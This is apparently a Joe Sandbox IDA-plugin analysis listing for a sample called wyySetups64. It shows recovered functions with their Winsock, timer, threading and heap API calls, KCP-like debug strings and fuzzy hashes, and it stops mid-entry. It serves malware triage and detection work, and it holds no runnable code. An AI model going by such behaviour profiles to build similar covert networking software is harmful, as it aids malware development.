Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: ErrorEventInterlockedLast$Incrementsetsockopt$CloseCreateCurrentExchangeResetThreadTimerWaitable_free_malloc_memsetclosesocketsendshutdown
String ID:
API String ID: 127459856-0
Opcode ID: f7a9d60d2b7f029730e42d616df30a7848541e926e6cf6671cc0a85a0010d67f
Instruction ID: febbaa37fef173cdabf19aaa86991a713f8cd3613784196dc8ccc12f3e68bcc5
Opcode Fuzzy Hash: f7a9d60d2b7f029730e42d616df30a7848541e926e6cf6671cc0a85a0010d67f
Instruction Fuzzy Hash: CB41CEB1600704AFD360EF69DC81B6AF7E4FB48714F50086EE646D7781EBB1E9048B91

Function 03373500 Relevance: 13.6, APIs: 9, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 03373660: CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 03373667
Part of subcall function 03373660: _free.LIBCMT ref: 0337369C
Part of subcall function 03373660: _malloc.LIBCMT ref: 033736D7
Part of subcall function 03373660: _memset.LIBCMT ref: 033736E5

InterlockedIncrement.KERNEL32(033A1F0C), ref: 03373565
InterlockedIncrement.KERNEL32(033A1F0C), ref: 03373573
setsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 0337359A
setsockopt.WS2_32(?,0000FFFF,00001002,?,00000004), ref: 033735B3
ResetEvent.KERNEL32(?,?,?,033A1F0C), ref: 033735EE
SetLastError.KERNEL32(00000000), ref: 03373621
GetLastError.KERNEL32 ref: 03373639

Part of subcall function 03373F60: GetCurrentThreadId.KERNEL32 ref: 03373F65
Part of subcall function 03373F60: send.WS2_32(?,033949C0,00000010,00000000), ref: 03373FC6
Part of subcall function 03373F60: SetEvent.KERNEL32(?), ref: 03373FE9
Part of subcall function 03373F60: InterlockedExchange.KERNEL32(?,00000000), ref: 03373FF5
Part of subcall function 03373F60: WSACloseEvent.WS2_32(?), ref: 03374003
Part of subcall function 03373F60: shutdown.WS2_32(?,00000001), ref: 0337401B
Part of subcall function 03373F60: closesocket.WS2_32(?), ref: 03374025

SetLastError.KERNEL32(00000000), ref: 03373649

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ErrorEventInterlockedLast$Incrementsetsockopt$CloseCreateCurrentExchangeResetThreadTimerWaitable_free_malloc_memsetclosesocketsendshutdown
String ID:
API String ID: 127459856-0
Opcode ID: ea7780c26d88609a861b18da7b5fef2ca541e5e0e60905f539f63b516eb4691b
Instruction ID: 8d798f17a1218ea43d02eb612a77ec3123eb40f8acb29a5ca2a6fe9fa54a0467
Opcode Fuzzy Hash: ea7780c26d88609a861b18da7b5fef2ca541e5e0e60905f539f63b516eb4691b
Instruction Fuzzy Hash: 22415BB5600B04AFD3B0EF69DCC1B6AB7E8FB48721F10492EE646D7640D7B5E4048B91

Function 00BD4430 Relevance: 13.6, APIs: 9, Instructions: 93synchronizationtimeCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?), ref: 00BD4443
ResetEvent.KERNEL32(?), ref: 00BD444C
timeGetTime.WINMM ref: 00BD444E
InterlockedExchange.KERNEL32(?,00000000), ref: 00BD445D
WaitForSingleObject.KERNEL32(?,00001770), ref: 00BD44AB
ResetEvent.KERNEL32(?), ref: 00BD44C8

Part of subcall function 00BD3F60: GetCurrentThreadId.KERNEL32 ref: 00BD3F65
Part of subcall function 00BD3F60: send.WS2_32(?,00BE7440,00000010,00000000), ref: 00BD3FC6
Part of subcall function 00BD3F60: SetEvent.KERNEL32(?), ref: 00BD3FE9
Part of subcall function 00BD3F60: InterlockedExchange.KERNEL32(?,00000000), ref: 00BD3FF5
Part of subcall function 00BD3F60: WSACloseEvent.WS2_32(?), ref: 00BD4003
Part of subcall function 00BD3F60: shutdown.WS2_32(?,00000001), ref: 00BD401B
Part of subcall function 00BD3F60: closesocket.WS2_32(?), ref: 00BD4025

ResetEvent.KERNEL32(?), ref: 00BD44DC

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Event$Reset$ExchangeInterlocked$CloseCurrentObjectSingleThreadTimeWaitclosesocketsendshutdowntime
String ID:
API String ID: 542259498-0
Opcode ID: 14498a025f7dfd3d09e4db9ce8314c30ac7821e4f75ca19460f9ba2790d6c727
Instruction ID: e94d5fc3104a6949863f92f025fff4107300c8ab6dbc26429c79791c50e93d09
Opcode Fuzzy Hash: 14498a025f7dfd3d09e4db9ce8314c30ac7821e4f75ca19460f9ba2790d6c727
Instruction Fuzzy Hash: 9F215276640B045BC630EF69EC85B97F3E8EF99710F100A5EF549C7751EA71A4408BA1

Function 03374430 Relevance: 13.6, APIs: 9, Instructions: 93synchronizationtimeCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?), ref: 03374443
ResetEvent.KERNEL32(?), ref: 0337444C
timeGetTime.WINMM ref: 0337444E
InterlockedExchange.KERNEL32(?,00000000), ref: 0337445D
WaitForSingleObject.KERNEL32(?,00001770), ref: 033744AB
ResetEvent.KERNEL32(?), ref: 033744C8

Part of subcall function 03373F60: GetCurrentThreadId.KERNEL32 ref: 03373F65
Part of subcall function 03373F60: send.WS2_32(?,033949C0,00000010,00000000), ref: 03373FC6
Part of subcall function 03373F60: SetEvent.KERNEL32(?), ref: 03373FE9
Part of subcall function 03373F60: InterlockedExchange.KERNEL32(?,00000000), ref: 03373FF5
Part of subcall function 03373F60: WSACloseEvent.WS2_32(?), ref: 03374003
Part of subcall function 03373F60: shutdown.WS2_32(?,00000001), ref: 0337401B
Part of subcall function 03373F60: closesocket.WS2_32(?), ref: 03374025

ResetEvent.KERNEL32(?), ref: 033744DC

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Event$Reset$ExchangeInterlocked$CloseCurrentObjectSingleThreadTimeWaitclosesocketsendshutdowntime
String ID:
API String ID: 542259498-0
Opcode ID: c891bd4b2b9bb78cba250863596461a7b3b1f866cdd958a208f2c9f617a7c3f0
Instruction ID: cf1c4d8680baccb441712283c8db4b40af6b6252a188f07fc59ba03bdf81656b
Opcode Fuzzy Hash: c891bd4b2b9bb78cba250863596461a7b3b1f866cdd958a208f2c9f617a7c3f0
Instruction Fuzzy Hash: 90216476600708ABC230EF79DCC4B97B3E8EF89720F100A1EE589C7640D675F4459BA1

Function 00BD4E60 Relevance: 13.6, APIs: 9, Instructions: 70COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,?), ref: 00BD4E79
TryEnterCriticalSection.KERNEL32(?,?), ref: 00BD4E98
TryEnterCriticalSection.KERNEL32(?), ref: 00BD4EA2
SetLastError.KERNEL32(0000139F), ref: 00BD4EB9
LeaveCriticalSection.KERNEL32(?), ref: 00BD4EC2
LeaveCriticalSection.KERNEL32(?), ref: 00BD4EC9

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: 4bc90e43f67cb467076a99ac15caf6d90062f9d9fca423b96a45eca4866e38f3
Instruction ID: 9da6d2d1c9a4428164ff339640e1b2fe3642301a7cda16ea26b043e23239275f
Opcode Fuzzy Hash: 4bc90e43f67cb467076a99ac15caf6d90062f9d9fca423b96a45eca4866e38f3
Instruction Fuzzy Hash: 361160326007449BC330EB79AD8596BF3ECFB88325B44066BF605C7651EB71D805C6A5

Function 03374E80 Relevance: 13.6, APIs: 9, Instructions: 70COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,?), ref: 03374E99
TryEnterCriticalSection.KERNEL32(?,?), ref: 03374EB8
TryEnterCriticalSection.KERNEL32(?), ref: 03374EC2
SetLastError.KERNEL32(0000139F), ref: 03374ED9
LeaveCriticalSection.KERNEL32(?), ref: 03374EE2
LeaveCriticalSection.KERNEL32(?), ref: 03374EE9

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: 707f6d4641795719bdcf1789fabb5b514d89553d7ecfcdff8f938b33469e3077
Instruction ID: 1da8f176dba9f6d9c463732ffee714b754c64503a3e094bd8ec03fa19ab3e7b2
Opcode Fuzzy Hash: 707f6d4641795719bdcf1789fabb5b514d89553d7ecfcdff8f938b33469e3077
Instruction Fuzzy Hash: 23116D327007089BD330EB7AECC496BF3ECEB88721B040A2BE645C6550DA76E805C7A5

Function 0337DD10 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 0337DD32
SetLastError.KERNEL32(0000007F), ref: 0337DE35

Strings

Main, xrefs: 0337DD1F, 0337DD5C

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ErrorLast
String ID: Main
API String ID: 1452528299-521822810
Opcode ID: 8033ef0bdb21022605198f68d82f945de9d593d0c46af187de0741f23e255f89
Instruction ID: 5a046cf80e71a709acee3e157cad3748c62034f671db9ca7615a79689281e3b1
Opcode Fuzzy Hash: 8033ef0bdb21022605198f68d82f945de9d593d0c46af187de0741f23e255f89
Instruction Fuzzy Hash: 5341C131A50209EFE720DF58DCC1BAAB3E8FF94314F0846AAE8459B751E775E941CB90

Function 00BD3F60 Relevance: 12.1, APIs: 8, Instructions: 79networkthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00BD3F65
SetLastError.KERNEL32(0000139F,?,74DEDFA0,00BD3648), ref: 00BD4054

Part of subcall function 00BD2B80: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 00BD2B96
Part of subcall function 00BD2B80: SwitchToThread.KERNEL32 ref: 00BD2BAA

send.WS2_32(?,00BE7440,00000010,00000000), ref: 00BD3FC6
SetEvent.KERNEL32(?), ref: 00BD3FE9
InterlockedExchange.KERNEL32(?,00000000), ref: 00BD3FF5
WSACloseEvent.WS2_32(?), ref: 00BD4003
shutdown.WS2_32(?,00000001), ref: 00BD401B
closesocket.WS2_32(?), ref: 00BD4025

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: EventExchangeInterlockedThread$CloseCompareCurrentErrorLastSwitchclosesocketsendshutdown
String ID:
API String ID: 3254528666-0
Opcode ID: 107276a2256c58a6678f11c24229f41d39f5d25ba330f0a80981c6933fa4659f
Instruction ID: 9dfebc4420cc8c20e2aff90f139f30fdcdca026e0eb9a5286ec2e451f278caf4
Opcode Fuzzy Hash: 107276a2256c58a6678f11c24229f41d39f5d25ba330f0a80981c6933fa4659f
Instruction Fuzzy Hash: 1D215570200B009BD3309B68D888B9BB7F5FF44B14F04494EF2868BB91EBB9E845CB51

Function 03373F60 Relevance: 12.1, APIs: 8, Instructions: 79networkthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 03373F65
SetLastError.KERNEL32(0000139F,?,74DEDFA0,03373648), ref: 03374054

Part of subcall function 03372BC0: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 03372BD6
Part of subcall function 03372BC0: SwitchToThread.KERNEL32 ref: 03372BEA

send.WS2_32(?,033949C0,00000010,00000000), ref: 03373FC6
SetEvent.KERNEL32(?), ref: 03373FE9
InterlockedExchange.KERNEL32(?,00000000), ref: 03373FF5
WSACloseEvent.WS2_32(?), ref: 03374003
shutdown.WS2_32(?,00000001), ref: 0337401B
closesocket.WS2_32(?), ref: 03374025

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: EventExchangeInterlockedThread$CloseCompareCurrentErrorLastSwitchclosesocketsendshutdown
String ID:
API String ID: 3254528666-0
Opcode ID: 47795253848a485cdb9f24e192315d46ac9852025c19c4e2f293ed94eb68ad1b
Instruction ID: e1bc21e90331e11e2923f63da68d960c314ac03ecee21828c21783e06837c1a2
Opcode Fuzzy Hash: 47795253848a485cdb9f24e192315d46ac9852025c19c4e2f293ed94eb68ad1b
Instruction Fuzzy Hash: F421D775200B04DBD334EB69D8C8B5BB7B9BB44711F144E1DE692CA680C7BAE445DB90

Function 00BD4060 Relevance: 12.1, APIs: 8, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD4074
ResetEvent.KERNEL32(?,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD4087
ResetEvent.KERNEL32(?,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD4090
ResetEvent.KERNEL32(?,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD4099

Part of subcall function 00BD1350: HeapFree.KERNEL32(?,00000000,?,?,?,00BD40A6,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD1390

Part of subcall function 00BD1420: HeapFree.KERNEL32(?,00000000,?,?,?,00BD40B1,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD143D
Part of subcall function 00BD1420: _free.LIBCMT ref: 00BD1459

HeapDestroy.KERNEL32(?,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD40B9
HeapCreate.KERNEL32(?,?,?,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD40D4
SetEvent.KERNEL32(?,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD4150
LeaveCriticalSection.KERNEL32(?,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD4157

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: EventHeap$Reset$CriticalFreeSection$CreateDestroyEnterLeave_free
String ID:
API String ID: 1219087420-0
Opcode ID: f3d2157dcae2d40242dbd038715d64a3dbe72f4fbd9e7e8d2f4615d895571481
Instruction ID: 15e5215a37fcfa742dcede7a535289a623864ffbed25af8d58a429be7de7bace
Opcode Fuzzy Hash: f3d2157dcae2d40242dbd038715d64a3dbe72f4fbd9e7e8d2f4615d895571481
Instruction Fuzzy Hash: 8C312674600A06AFD705DB78C898B96FBE8FF48314F14829AE5298B361DB35B855CFD0

Function 03374060 Relevance: 12.1, APIs: 8, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,03374039,?,74DEDFA0,03373648), ref: 03374074
ResetEvent.KERNEL32(?,?,00000000,03374039,?,74DEDFA0,03373648), ref: 03374087
ResetEvent.KERNEL32(?,?,00000000,03374039,?,74DEDFA0,03373648), ref: 03374090
ResetEvent.KERNEL32(?,?,00000000,03374039,?,74DEDFA0,03373648), ref: 03374099

Part of subcall function 03371350: HeapFree.KERNEL32(?,00000000,?,?,?,033740A6,?,00000000,03374039,?,74DEDFA0,03373648), ref: 03371390

Part of subcall function 03371420: HeapFree.KERNEL32(?,00000000,?,?,?,033740B1,?,00000000,03374039,?,74DEDFA0,03373648), ref: 0337143D
Part of subcall function 03371420: _free.LIBCMT ref: 03371459

HeapDestroy.KERNEL32(?,?,00000000,03374039,?,74DEDFA0,03373648), ref: 033740B9
HeapCreate.KERNEL32(?,?,?,?,00000000,03374039,?,74DEDFA0,03373648), ref: 033740D4
SetEvent.KERNEL32(?,?,00000000,03374039,?,74DEDFA0,03373648), ref: 03374150
LeaveCriticalSection.KERNEL32(?,?,00000000,03374039,?,74DEDFA0,03373648), ref: 03374157

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: EventHeap$Reset$CriticalFreeSection$CreateDestroyEnterLeave_free
String ID:
API String ID: 1219087420-0
Opcode ID: 116cbfa180d1c01bbb261e32f5952eb8106c98cfbe6a661a85acac52a303a025
Instruction ID: c5654930a3dd68abda9a1d3539a6e59cefcc6783377c8f2594348bfd564f640f
Opcode Fuzzy Hash: 116cbfa180d1c01bbb261e32f5952eb8106c98cfbe6a661a85acac52a303a025
Instruction Fuzzy Hash: F1314875600A0AEFD749EB35D898B96F7A8FF48310F04865AE429CB250DB39B851CFD0

Function 031FB62F Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 351COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 031FB839
_memset.LIBCMT ref: 031FB86E

Part of subcall function 031FF0C6: _malloc.LIBCMT ref: 031FF0E0

Strings

gfff, xrefs: 031FB6CF
6, xrefs: 031FB820
gfff, xrefs: 031FB6F7
(, xrefs: 031FB7FD

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: _memset$_malloc
String ID: ($6$gfff$gfff
API String ID: 3506388080-713438465
Opcode ID: adc29c7617633d4b8d790a07087d8aa0c6b7af03618b52efd29b7f2ce1e6f169
Instruction ID: dd1ad63eba9e07079fd21c1513c8aa9b0f86df979a1e32e36abfabad1186f68b
Opcode Fuzzy Hash: adc29c7617633d4b8d790a07087d8aa0c6b7af03618b52efd29b7f2ce1e6f169
Instruction Fuzzy Hash: C8D18CB1E00318AFDB14DFE9DC85AAEFBB9FF48300F144129E505AB291D770A945CBA1

Function 00BD2140 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 303COMMON

Download Yara Rule

APIs

Part of subcall function 00BD1610: __vswprintf.LIBCMT ref: 00BD1646

_malloc.LIBCMT ref: 00BD2330

Part of subcall function 00BD6E83: __FF_MSGBANNER.LIBCMT ref: 00BD6E9C
Part of subcall function 00BD6E83: __NMSG_WRITE.LIBCMT ref: 00BD6EA3
Part of subcall function 00BD6E83: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F), ref: 00BD6EC8

Strings

input ack: sn=%lu rtt=%ld rto=%ld, xrefs: 00BD22AC
input psh: sn=%lu ts=%lu, xrefs: 00BD22DF
input wins: %lu, xrefs: 00BD23CF
[RI] %d bytes, xrefs: 00BD216F
input probe, xrefs: 00BD23A1

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: AllocateHeap__vswprintf_malloc
String ID: [RI] %d bytes$input ack: sn=%lu rtt=%ld rto=%ld$input probe$input psh: sn=%lu ts=%lu$input wins: %lu
API String ID: 3723585974-868042568
Opcode ID: 77d4a237b6bf7012914381d3cb438f4932e4586c37081841505e35dee5b96986
Instruction ID: a5c802ba553c8ebba17dfaa5fe5661b30dce77b829bac0f04792f1f60578a437
Opcode Fuzzy Hash: 77d4a237b6bf7012914381d3cb438f4932e4586c37081841505e35dee5b96986
Instruction Fuzzy Hash: FBB17C71A002459FCB18CF69D8816AABBE5FF94310F0886EBED199B346E731DD418B90

Function 03372140 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 303COMMON

Download Yara Rule

APIs

Part of subcall function 03371610: __vswprintf.LIBCMT ref: 03371646

_malloc.LIBCMT ref: 03372330

Part of subcall function 0337F673: __FF_MSGBANNER.LIBCMT ref: 0337F68C
Part of subcall function 0337F673: __NMSG_WRITE.LIBCMT ref: 0337F693
Part of subcall function 0337F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76), ref: 0337F6B8

Strings

input wins: %lu, xrefs: 033723CF
input ack: sn=%lu rtt=%ld rto=%ld, xrefs: 033722AC
input probe, xrefs: 033723A1
input psh: sn=%lu ts=%lu, xrefs: 033722DF
[RI] %d bytes, xrefs: 0337216F

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: AllocateHeap__vswprintf_malloc
String ID: [RI] %d bytes$input ack: sn=%lu rtt=%ld rto=%ld$input probe$input psh: sn=%lu ts=%lu$input wins: %lu
API String ID: 3723585974-868042568
Opcode ID: c56041a21e61f83af74beebf4583e5bd12f92129213fb8b314709e85b217d914
Instruction ID: b664ecbfff3d492613ecc851fafea73c86a25c5a0ac0de1cada968a7bb0b946a
Opcode Fuzzy Hash: c56041a21e61f83af74beebf4583e5bd12f92129213fb8b314709e85b217d914
Instruction Fuzzy Hash: BCB18075E002058BDF38DF69D8C06ABB7A5BF44210F084AAEDD59DB34AD739D941CB90

Function 00BD1830 Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BD1878
_free.LIBCMT ref: 00BD18B6
_free.LIBCMT ref: 00BD18F5
_free.LIBCMT ref: 00BD1935
_free.LIBCMT ref: 00BD195D
_free.LIBCMT ref: 00BD1981
_free.LIBCMT ref: 00BD19B9

Part of subcall function 00BD6E49: HeapFree.KERNEL32(00000000,00000000,?,00BD9900,00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F), ref: 00BD6E5F
Part of subcall function 00BD6E49: GetLastError.KERNEL32(00000000,?,00BD9900,00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F,00000000), ref: 00BD6E71

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1ae334ef2e48a13d88dad88e00ceec7b2a243e59f530a43b95db1bdea9b36711
Instruction ID: bf6234e4323c6cd7ebbeadf1b138c57cab777735452c33cdcb033161f98efd87
Opcode Fuzzy Hash: 1ae334ef2e48a13d88dad88e00ceec7b2a243e59f530a43b95db1bdea9b36711
Instruction Fuzzy Hash: C45149B6A00111AFD714DF5CC4D0855FBE6FF8931472984AED50A6B321EB32BD02CB91

Function 03371830 Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 03371878
_free.LIBCMT ref: 033718B6
_free.LIBCMT ref: 033718F5
_free.LIBCMT ref: 03371935
_free.LIBCMT ref: 0337195D
_free.LIBCMT ref: 03371981
_free.LIBCMT ref: 033719B9

Part of subcall function 0337F639: RtlFreeHeap.NTDLL(00000000,00000000,?,03383E4C,00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76), ref: 0337F64F
Part of subcall function 0337F639: GetLastError.KERNEL32(00000000,?,03383E4C,00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76,00000000), ref: 0337F661

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 07608a3087b77eb9fe4b470712bffe531d391a167192072caf75ed635df61327
Instruction ID: a70bf561ebe1037c85a23f3fc56bf2d7ebd49d40c99a6255f2b409adfd02365b
Opcode Fuzzy Hash: 07608a3087b77eb9fe4b470712bffe531d391a167192072caf75ed635df61327
Instruction Fuzzy Hash: EF513CB6E00211DFC724DF58C5C4969BBAABF89314B2980ADC50A9F321D736AD42CFD1

Function 00BD3870 Relevance: 10.6, APIs: 7, Instructions: 149threadnetworktimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00BD3883
SetWaitableTimer.KERNEL32(?,?,?,00000000,00000000,00000000,?,00000000,FFFFD8F0,000000FF), ref: 00BD38C4
